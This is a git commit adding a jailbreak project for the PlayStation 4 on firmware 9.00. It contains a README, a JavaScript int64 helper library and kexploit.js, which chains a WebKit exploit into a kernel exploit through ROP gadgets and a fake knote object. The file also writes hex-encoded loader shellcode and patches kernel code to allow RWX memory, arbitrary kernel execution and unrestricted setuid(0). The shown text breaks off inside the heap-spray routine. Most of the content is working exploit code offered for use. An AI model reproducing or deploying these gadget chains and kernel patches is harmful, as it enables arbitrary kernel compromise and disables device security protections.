commit ac6de328b4f5ae3d495e4ca53ec0b3b3aa26cd8c Author: Chendo <39858639+ChendoChap@users.noreply.github.com> Date: Mon Dec 13 03:47:24 2021 +0100 9.00 Kernel Exploit diff --git a/README.md b/README.md new file mode 100644 index 0000000..f6adbc9 --- /dev/null +++ b/README.md @@ -0,0 +1,30 @@ +# PS4 9.00 Kernel Exploit +--- +## Summary +In this project you will find an implementation that tries to make use of a filesystem bug for the Playstation 4 on firmware 9.00. +The bug was found while diffing the 9.00 and 9.03 kernels. It will require a drive with a modified exfat filesystem. Successfully triggering it will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. will launch the usual payload launcher (on port 9020). + +## Patches Included +The following patches are applied to the kernel: +1) Allow RWX (read-write-execute) memory mapping (mmap / mprotect) +2) Syscall instruction allowed anywhere +3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process +4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode +5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. +6) (`sys_dynlib_load_prx`) patch +7) Disable delayed panics from sysVeri +## Notes +- You need to insert the USB when the alert pops up, then let it sit there for a bit until the ps4 storage notifications shows up. +- Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot. +- The browser might tempt you into closing the page prematurely, don't. +- The loading circle might freeze while the webkit exploit is triggering, this means nothing. + +## Contributors + +- laureeeeeee +- [Specter](https://twitter.com/SpecterDev) +- [Znullptr](https://twitter.com/Znullptr) + +## Special Thanks +- [Andy Nguyen](https://twitter.com/theflow0) +- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992) \ No newline at end of file diff --git a/exfathax.img b/exfathax.img new file mode 100644 index 0000000..a331142 Binary files /dev/null and b/exfathax.img differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..d6130a6 --- /dev/null +++ b/index.html @@ -0,0 +1,82 @@ + + + + pOOBs4 9.00 + + + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/int64.js b/int64.js new file mode 100644 index 0000000..798cae3 --- /dev/null +++ b/int64.js @@ -0,0 +1,328 @@ +// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js +// +// Copyright (c) 2016 Samuel Groß +function int64(low, hi) { + this.low = (low >>> 0); + this.hi = (hi >>> 0); + + this.add32inplace = function (val) { + var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo < this.low) { + new_hi++; + } + + this.hi = new_hi; + this.low = new_lo; + } + + this.add32 = function (val) { + var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo < this.low) { + new_hi++; + } + + return new int64(new_lo, new_hi); + } + + this.sub32 = function (val) { + var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + + return new int64(new_lo, new_hi); + } + + this.add64 = function(val) { + var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi++; + } + new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0; + return new int64(new_lo, new_hi); + } + this.sub64 = function(val) { + var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0; + return new int64(new_lo, new_hi); + } + + this.sub32inplace = function (val) { + var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + + this.hi = new_hi; + this.low = new_lo; + } + + this.and32 = function (val) { + var new_lo = this.low & val; + var new_hi = this.hi; + return new int64(new_lo, new_hi); + } + + this.and64 = function (vallo, valhi) { + var new_lo = this.low & vallo; + var new_hi = this.hi & valhi; + return new int64(new_lo, new_hi); + } + + this.toString = function (val) { + val = 16; + var lo_str = (this.low >>> 0).toString(val); + var hi_str = (this.hi >>> 0).toString(val); + + if (this.hi == 0) + return lo_str; + else + lo_str = zeroFill(lo_str, 8) + + return hi_str + lo_str; + } + + this.toPacked = function () { + return { + hi: this.hi, + low: this.low + }; + } + + this.setPacked = function (pck) { + this.hi = pck.hi; + this.low = pck.low; + return this; + } + + return this; +} + +function zeroFill(number, width) { + width -= number.toString().length; + + if (width > 0) { + return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; + } + + return number + ""; // always return a string +} +function Int64(low, high) { + var bytes = new Uint8Array(8); + + if (arguments.length > 2 || arguments.length == 0) + throw TypeError("Incorrect number of arguments to constructor"); + if (arguments.length == 2) { + if (typeof low != 'number' || typeof high != 'number') { + throw TypeError("Both arguments must be numbers"); + } + if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) { + throw RangeError("Both arguments must fit inside a uint32"); + } + low = low.toString(16); + for (let i = 0; i < 8 - low.length; i++) { + low = "0" + low; + } + low = "0x" + high.toString(16) + low; + } + + switch (typeof low) { + case 'number': + low = '0x' + Math.floor(low).toString(16); + case 'string': + if (low.substr(0, 2) === "0x") + low = low.substr(2); + if (low.length % 2 == 1) + low = '0' + low; + var bigEndian = unhexlify(low, 8); + var arr = []; + for (var i = 0; i < bigEndian.length; i++) { + arr[i] = bigEndian[i]; + } + bytes.set(arr.reverse()); + break; + case 'object': + if (low instanceof Int64) { + bytes.set(low.bytes()); + } else { + if (low.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(low); + } + break; + case 'undefined': + break; + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function () { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + this.asInteger = function () { + if (bytes[7] != 0 || bytes[6] > 0x20) { + debug_log("SOMETHING BAD HAS HAPPENED!!!"); + throw new RangeError( + "Can not be represented as a regular number"); + } + return Struct.unpack(Struct.int64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function () { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[ + 6] == 0xff)) + throw new RangeError( + "Can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes()); + }; + + // Return the underlying bytes of this number as array. + this.bytes = function () { + var arr = []; + for (var i = 0; i < bytes.length; i++) { + arr.push(bytes[i]) + } + return arr; + }; + + // Return the byte at the given index. + this.byteAt = function (i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function () { + var arr = []; + for (var i = 0; i < bytes.length; i++) { + arr.push(bytes[i]) + } + return '0x' + hexlify(arr.reverse()); + }; + + this.low32 = function () { + return new Uint32Array(bytes.buffer)[0] >>> 0; + }; + + this.hi32 = function () { + return new Uint32Array(bytes.buffer)[1] >>> 0; + }; + + this.equals = function (other) { + if (!(other instanceof Int64)) { + other = new Int64(other); + } + for (var i = 0; i < 8; i++) { + if (bytes[i] != other.byteAt(i)) + return false; + } + return true; + }; + + this.greater = function (other) { + if (!(other instanceof Int64)) { + other = new Int64(other); + } + if (this.hi32() > other.hi32()) + return true; + else if (this.hi32() === other.hi32()) { + if (this.low32() > other.low32()) + return true; + } + return false; + }; + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function () { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + var new_args = []; + for (var i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int64)) { + new_args[i] = new Int64(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; + } + + this.neg = operation(function neg() { + var ret = []; + for (var i = 0; i < 8; i++) + ret[i] = ~this.byteAt(i); + return new Int64(ret).add(Int64.One); + }, 0); + + this.add = operation(function add(a) { + var ret = []; + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) + a.byteAt(i) + carry; + carry = cur > 0xff | 0; + ret[i] = cur; + } + return new Int64(ret); + }, 1); + + this.assignAdd = operation(function assignAdd(a) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) + a.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 1); + + + this.sub = operation(function sub(a) { + var ret = []; + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) - a.byteAt(i) - carry; + carry = cur < 0 | 0; + ret[i] = cur; + } + return new Int64(ret); + }, 1); +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function (d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); +Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff); \ No newline at end of file diff --git a/kexploit.js b/kexploit.js new file mode 100644 index 0000000..f76c126 --- /dev/null +++ b/kexploit.js @@ -0,0 +1,635 @@ +var chain; +var kchain; +var kchain2; +var SAVED_KERNEL_STACK_PTR; +var KERNEL_BASE_PTR; + +var webKitBase; +var webKitRequirementBase; + +var libSceLibcInternalBase; +var libKernelBase; + +var textArea = document.createElement("textarea"); + +const OFFSET_wk_vtable_first_element = 0x104F110; +const OFFSET_WK_memset_import = 0x000002A8; +const OFFSET_WK___stack_chk_fail_import = 0x00000178; +const OFFSET_WK_psl_builtin_import = 0xD68; + +const OFFSET_WKR_psl_builtin = 0x33BA0; + +const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7; +const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3; +const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7; +const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3; + +const OFFSET_libcint_memset = 0x0004F810; +const OFFSET_libcint_setjmp = 0x000BB5BC; +const OFFSET_libcint_longjmp = 0x000BB616; + +const OFFSET_WK2_TLS_IMAGE = 0x38e8020; + + +const OFFSET_lk___stack_chk_fail = 0x0001FF60; +const OFFSET_lk_pthread_create = 0x00025510; +const OFFSET_lk_pthread_join = 0x0000AFA0; + +var nogc = []; +var syscalls = {}; +var gadgets = {}; +var wk_gadgetmap = { + "ret": 0x32, + "pop rdi": 0x319690, + "pop rsi": 0x1F4D6, + "pop rdx": 0x986C, + "pop rcx": 0x657B7, + "pop r8": 0xAFAA71, + "pop r9": 0x422571, + "pop rax": 0x51A12, + "pop rsp": 0x4E293, + + "mov [rdi], rsi": 0x1A97920, + "mov [rdi], rax": 0x10788F7, + "mov [rdi], eax": 0x9964BC, + + "cli ; pop rax": 0x566F8, + "sti": 0x1FBBCC, + + "mov rax, [rax]": 0x241CC, + "mov rax, [rsi]": 0x5106A0, + "mov [rax], rsi": 0x1EFD890, + "mov [rax], rdx": 0x1426A82, + "mov [rax], edx": 0x3B7FE4, + "add rax, rsi": 0x170397E, + "mov rdx, rax": 0x53F501, + "add rax, rcx": 0x2FBCD, + "mov rsp, rdi": 0x2048062, + "mov rdi, [rax + 8] ; call [rax]": 0x751EE7, + "infloop": 0x7DFF +}; + +var wkr_gadgetmap = { + "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3 +}; + +var wk2_gadgetmap = { + "mov [rax], rdi": 0xFFDD7, + "mov [rax], rcx": 0x2C9ECA, +}; +var hmd_gadgetmap = { + "add [r8], r12": 0x2BCE1 +}; +var ipmi_gadgetmap = { + "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B +}; + +function userland() { + + p.launch_chain = launch_chain; + p.malloc = malloc; + p.malloc32 = malloc32; + p.stringify = stringify; + p.array_from_address = array_from_address; + p.readstr = readstr; + + var textAreaAddr = p.leakval(textArea); + var textAreVtablePtrPtr = textAreaAddr.add32(0x18); + var textAreaVtPtr = p.read8(textAreVtablePtrPtr); + + //pointer to vtable address + var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); + //address of vtable + var textAreaVtable = p.read8(textAreaVtPtr); + //use address of 1st entry (in .text) to calculate webkitbase + webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); + + libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); + libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); + + libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); + libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); + + webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); + webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); + + for (var gadget in wk_gadgetmap) { + window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); + } + for (var gadget in wkr_gadgetmap) { + window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); + } + + function get_jmptgt(address) { + var instr = p.read4(address) & 0xFFFF; + var offset = p.read4(address.add32(2)); + if (instr != 0x25FF) { + return 0; + } + return address.add32(0x6 + offset); + } + + function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + window.nogc.push(backing); + var ptr = p.read8(p.leakval(backing).add32(0x10)); + ptr.backing = backing; + return ptr; + } + + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + window.nogc.push(backing); + var ptr = p.read8(p.leakval(backing).add32(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + + function array_from_address(addr, size) { + var og_array = new Uint32Array(0x1000); + var og_array_i = p.leakval(og_array).add32(0x10); + + p.write8(og_array_i, addr); + p.write4(og_array_i.add32(8), size); + + nogc.push(og_array); + return og_array; + } + + function stringify(str) { + var bufView = new Uint8Array(str.length + 1); + for (var i = 0; i < str.length; i++) { + bufView[i] = str.charCodeAt(i) & 0xFF; + } + window.nogc.push(bufView); + return p.read8(p.leakval(bufView).add32(0x10)); + } + + function readstr(addr) { + var str = ""; + for (var i = 0;; i++) { + var c = p.read1(addr.add32(i)); + if (c == 0x0) { + break; + } + str += String.fromCharCode(c); + + } + return str; + } + + function array_from_address(addr, size) { + var og_array = new Uint32Array(0x1000); + var og_array_i = p.leakval(og_array).add32(0x10); + + p.write8(og_array_i, addr); + p.write4(og_array_i.add32(8), size); + + nogc.push(og_array); + return og_array; + } + + var fakeVtable_setjmp = p.malloc32(0x200); + var fakeVtable_longjmp = p.malloc32(0x200); + var original_context = p.malloc32(0x40); + var modified_context = p.malloc32(0x40); + + p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); + p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] + p.write8(fakeVtable_setjmp.add32(0x10), original_context); + p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); + p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] + + p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); + p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] + p.write8(fakeVtable_longjmp.add32(0x10), modified_context); + p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); + p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] + + function launch_chain(chain) { + chain.push(window.gadgets["pop rdi"]); + chain.push(original_context); + chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); + + p.write8(textAreaVtPtr, fakeVtable_setjmp); + textArea.scrollLeft = 0x0; + p.write8(modified_context.add32(0x00), window.gadgets["ret"]); + p.write8(modified_context.add32(0x10), chain.stack); + p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) + + p.write8(textAreaVtPtr, fakeVtable_longjmp); + textArea.scrollLeft = 0x0; + p.write8(textAreaVtPtr, textAreaVtable); + } + + var kview = new Uint8Array(0x1000); + var kstr = p.leakval(kview).add32(0x10); + var orig_kview_buf = p.read8(kstr); + + p.write8(kstr, window.libKernelBase); + p.write4(kstr.add32(8), 0x40000); + var countbytes; + + for (var i = 0; i < 0x40000; i++) { + if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { + countbytes = i; + break; + } + } + p.write4(kstr.add32(8), countbytes + 32); + var dview32 = new Uint32Array(1); + var dview8 = new Uint8Array(dview32.buffer); + for (var i = 0; i < countbytes; i++) { + if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { + dview8[0] = kview[i + 3]; + dview8[1] = kview[i + 4]; + dview8[2] = kview[i + 5]; + dview8[3] = kview[i + 6]; + var syscallno = dview32[0]; + window.syscalls[syscallno] = window.libKernelBase.add32(i); + } + } + p.write8(kstr, orig_kview_buf); + + chain = new rop(); +} + +function run_hax() { + userland(); + if (chain.syscall(23, 0).low != 0x0) { + kernel(); + //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?. + } + + var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0); + var payload_loader = p.malloc32(0x1000); + + var loader_writer = payload_loader.backing; + loader_writer[0] = 0x56415741; + loader_writer[1] = 0x83485541; + loader_writer[2] = 0x894818EC; + loader_writer[3] = 0xC748243C; + loader_writer[4] = 0x10082444; + loader_writer[5] = 0x483C2302; + loader_writer[6] = 0x102444C7; + loader_writer[7] = 0x00000000; + loader_writer[8] = 0x000002BF; + loader_writer[9] = 0x0001BE00; + loader_writer[10] = 0xD2310000; + loader_writer[11] = 0x00009CE8; + loader_writer[12] = 0xC7894100; + loader_writer[13] = 0x8D48C789; + loader_writer[14] = 0xBA082474; + loader_writer[15] = 0x00000010; + loader_writer[16] = 0x000095E8; + loader_writer[17] = 0xFF894400; + loader_writer[18] = 0x000001BE; + loader_writer[19] = 0x0095E800; + loader_writer[20] = 0x89440000; + loader_writer[21] = 0x31F631FF; + loader_writer[22] = 0x0062E8D2; + loader_writer[23] = 0x89410000; + loader_writer[24] = 0x2C8B4CC6; + loader_writer[25] = 0x45C64124; + loader_writer[26] = 0x05EBC300; + loader_writer[27] = 0x01499848; + loader_writer[28] = 0xF78944C5; + loader_writer[29] = 0xBAEE894C; + loader_writer[30] = 0x00001000; + loader_writer[31] = 0x000025E8; + loader_writer[32] = 0x7FC08500; + loader_writer[33] = 0xFF8944E7; + loader_writer[34] = 0x000026E8; + loader_writer[35] = 0xF7894400; + loader_writer[36] = 0x00001EE8; + loader_writer[37] = 0x2414FF00; + loader_writer[38] = 0x18C48348; + loader_writer[39] = 0x5E415D41; + loader_writer[40] = 0x31485F41; + loader_writer[41] = 0xC748C3C0; + loader_writer[42] = 0x000003C0; + loader_writer[43] = 0xCA894900; + loader_writer[44] = 0x48C3050F; + loader_writer[45] = 0x0006C0C7; + loader_writer[46] = 0x89490000; + loader_writer[47] = 0xC3050FCA; + loader_writer[48] = 0x1EC0C748; + loader_writer[49] = 0x49000000; + loader_writer[50] = 0x050FCA89; + loader_writer[51] = 0xC0C748C3; + loader_writer[52] = 0x00000061; + loader_writer[53] = 0x0FCA8949; + loader_writer[54] = 0xC748C305; + loader_writer[55] = 0x000068C0; + loader_writer[56] = 0xCA894900; + loader_writer[57] = 0x48C3050F; + loader_writer[58] = 0x006AC0C7; + loader_writer[59] = 0x89490000; + loader_writer[60] = 0xC3050FCA; + chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); + + var pthread = p.malloc(0x10); + chain.call(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer); + awaitpl(); +} + +function kernel() { + extra_gadgets(); + kchain_setup(); + object_setup(); + trigger_spray(); +} + +var handle; +var random_path; +var ex_info; + +function load_prx(name) { + //sys_dynlib_load_prx + var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0); + if (res.low != 0x0) { + alert("failed to load prx/get handle " + name); + } + //sys_dynlib_get_info_ex + p.write8(ex_info, 0x1A8); + res = chain.syscall(608, p.read4(handle), 0x0, ex_info); + if (res.low != 0x0) { + alert("failed to get module info from handle"); + } + var tlsinit = p.read8(ex_info.add32(0x110)); + var tlssize = p.read4(ex_info.add32(0x11C)); + + if (tlssize != 0) { + if (name == "libSceWebKit2.sprx") { + tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE); + } else { + alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`); + } + } + return tlsinit; +} + +function extra_gadgets() { + handle = p.malloc(0x150); + var randomized_path_ptr = handle.add32(0x4); + ex_info = randomized_path_ptr.add32(0x30); + + chain.syscall(602, 0, randomized_path_ptr); + random_path = p.readstr(randomized_path_ptr); + + var ipmi_addr = load_prx("libSceIpmi.sprx"); + var hmd_addr = load_prx("libSceHmd.sprx"); + var wk2_addr = load_prx("libSceWebKit2.sprx"); + + for (var gadget in hmd_gadgetmap) { + window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]); + } + for (var gadget in wk2_gadgetmap) { + window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]); + } + for (var gadget in ipmi_gadgetmap) { + window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]); + } + + for (var gadget in window.gadgets) { + p.read8(window.gadgets[gadget]); + } +} + +function kchain_setup() { + const KERNEL_setidt = 0x312c40; + const KERNEL_setcr0 = 0x1FB949; + const KERNEL_Xill = 0x17d500; + const KERNEL_veriPatch = 0x626874; + const KERNEL_enable_syscalls_1 = 0x490; + const KERNEL_enable_syscalls_2 = 0x4B5; + const KERNEL_enable_syscalls_3 = 0x4B9; + const KERNEL_enable_syscalls_4 = 0x4C2; + const KERNEL_mprotect = 0x80B8D; + const KERNEL_prx = 0x23AEC4; + const KERNEL_dlsym_1 = 0x23B67F; + const KERNEL_dlsym_2 = 0x221b40; + + + const KERNEL_setuid = 0x1A06; + const KERNEL_syscall11_1 = 0x1100520; + const KERNEL_syscall11_2 = 0x1100528; + const KERNEL_syscall11_3 = 0x110054C; + const KERNEL_syscall11_gadget = 0x4c7ad; + const KERNEL_mmap = 0x16632A; + const KERNEL_setcr0_patch = 0x3ade3B; + const KERNEL_kqueue_close_epi = 0x398991; + + SAVED_KERNEL_STACK_PTR = p.malloc(0x200); + KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8); + //negative offset of kqueue string to kernel base + //0xFFFFFFFFFF86B593 0x505 + //0xFFFFFFFFFF80E364 0x900 + p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF)); + + kchain = new rop(); + kchain2 = new rop(); + + kchain.count = 0; + kchain2.count = 0; + + kchain.set_kernel_var(KERNEL_BASE_PTR); + kchain2.set_kernel_var(KERNEL_BASE_PTR); + + kchain.push(gadgets["pop rax"]); + kchain.push(SAVED_KERNEL_STACK_PTR); + kchain.push(gadgets["mov [rax], rdi"]); + kchain.push(gadgets["pop r8"]); + kchain.push(KERNEL_BASE_PTR); + kchain.push(gadgets["add [r8], r12"]); + + + + var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt); + var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0); + //Modify UD + kchain.push(gadgets["pop rdi"]); + kchain.push(0x6); + kchain.push(gadgets["pop rsi"]); + kchain.push(gadgets["mov rsp, rdi"]); + kchain.push(gadgets["pop rdx"]); + kchain.push(0xE); + kchain.push(gadgets["pop rcx"]); + kchain.push(0x0); + kchain.push(gadgets["pop r8"]); + kchain.push(0x0); + var idx1_dest = kchain.get_rsp(); + kchain.pushSymbolic(); // overwritten with KERNEL_setidt + + kchain.push(gadgets["pop rsi"]); + kchain.push(0x80040033); + kchain.push(gadgets["pop rdi"]); + kchain.push(kchain2.stack); + var idx2_dest = kchain.get_rsp(); + kchain.pushSymbolic(); // overwritten with KERNEL_setcr0 + + kchain.finalizeSymbolic(idx1, idx1_dest); + kchain.finalizeSymbolic(idx2, idx2_dest); + + //Restore original UD + + var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill); + var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt); + kchain2.push(gadgets["pop rdi"]); + kchain2.push(0x6); + kchain2.push(gadgets["pop rsi"]); + var idx3_dest = kchain2.get_rsp(); + kchain2.pushSymbolic(); // overwritten with KERNEL_Xill + kchain2.push(gadgets["pop rdx"]); + kchain2.push(0xE); + kchain2.push(gadgets["pop rcx"]); + kchain2.push(0x0); + kchain2.push(gadgets["pop r8"]); + kchain2.push(0x0); + var idx4_dest = kchain2.get_rsp(); + kchain2.pushSymbolic(); // overwritten with KERNEL_setidt + + kchain2.finalizeSymbolic(idx3, idx3_dest); + kchain2.finalizeSymbolic(idx4, idx4_dest); + + //Apply kernel patches + + kchain2.kwrite4(KERNEL_veriPatch, 0x83489090); + + kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000); + //patch in reverse because /shrug + kchain2.kwrite4(KERNEL_enable_syscalls_4, 0x04EB69EB); + kchain2.kwrite4(KERNEL_enable_syscalls_3, 0x3B489090); + kchain2.kwrite4(KERNEL_enable_syscalls_2, 0xC9859090); + + kchain2.kwrite4(KERNEL_setuid, 0x8B482AEB); + kchain2.kwrite4(KERNEL_mprotect, 0x00000000); + kchain2.kwrite4(KERNEL_prx, 0x00C0E990); + kchain2.kwrite4(KERNEL_dlsym_1, 0x8B484CEB); + kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148); + + kchain2.kwrite4(KERNEL_mmap, 0x37B24137); + + kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002); + kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget); + kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001); + + //Restore CR0 + kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F); + var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch); + kchain2.push(gadgets["pop rdi"]); + kchain2.push(0x80050033); + var idx5_dest = kchain2.get_rsp(); + kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch + kchain2.finalizeSymbolic(idx5, idx5_dest); + + + //Recover + kchain2.rax_kernel(KERNEL_kqueue_close_epi); + kchain2.push(gadgets["mov rdx, rax"]); + kchain2.push(gadgets["pop rsi"]); + kchain2.push(SAVED_KERNEL_STACK_PTR); + kchain2.push(gadgets["mov rax, [rsi]"]); + kchain2.push(gadgets["pop rcx"]); + kchain2.push(0x10); + kchain2.push(gadgets["add rax, rcx"]); + kchain2.push(gadgets["mov [rax], rdx"]); + kchain2.push(gadgets["pop rdi"]); + var idx6 = kchain2.pushSymbolic(); + kchain2.push(gadgets["mov [rdi], rax"]); + kchain2.push(gadgets["sti"]); + kchain2.push(gadgets["pop rsp"]); + var idx6_dest = kchain2.get_rsp(); + kchain2.pushSymbolic(); // overwritten with old stack pointer + kchain2.finalizeSymbolic(idx6, idx6_dest); +} + +function object_setup() { + //Map fake object + var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1012, 0xFFFFFFFF, 0x0); + var fake_filtops = fake_knote.add32(0x4000); + var fake_obj = fake_knote.add32(0x8000); + if (fake_knote.low != 0x4000) { + alert("enomem: " + fake_knote); + while (1); + } + //setup fake object + //KNOTE + { + p.write8(fake_knote, fake_obj); + p.write8(fake_knote.add32(0x68), fake_filtops) + } + //FILTOPS + { + p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret + p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79] + p.write8(fake_filtops.add32(0x8), kchain.stack); + p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30] + } + //OBJ + { + p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] + } +} + +var trigger_spray = function () { + //Make socket <= 0xFF | -> alloc 0x800 + + + var NUM_KQUEUES = 0x1B0; + var kqueue_ptr = p.malloc(NUM_KQUEUES * 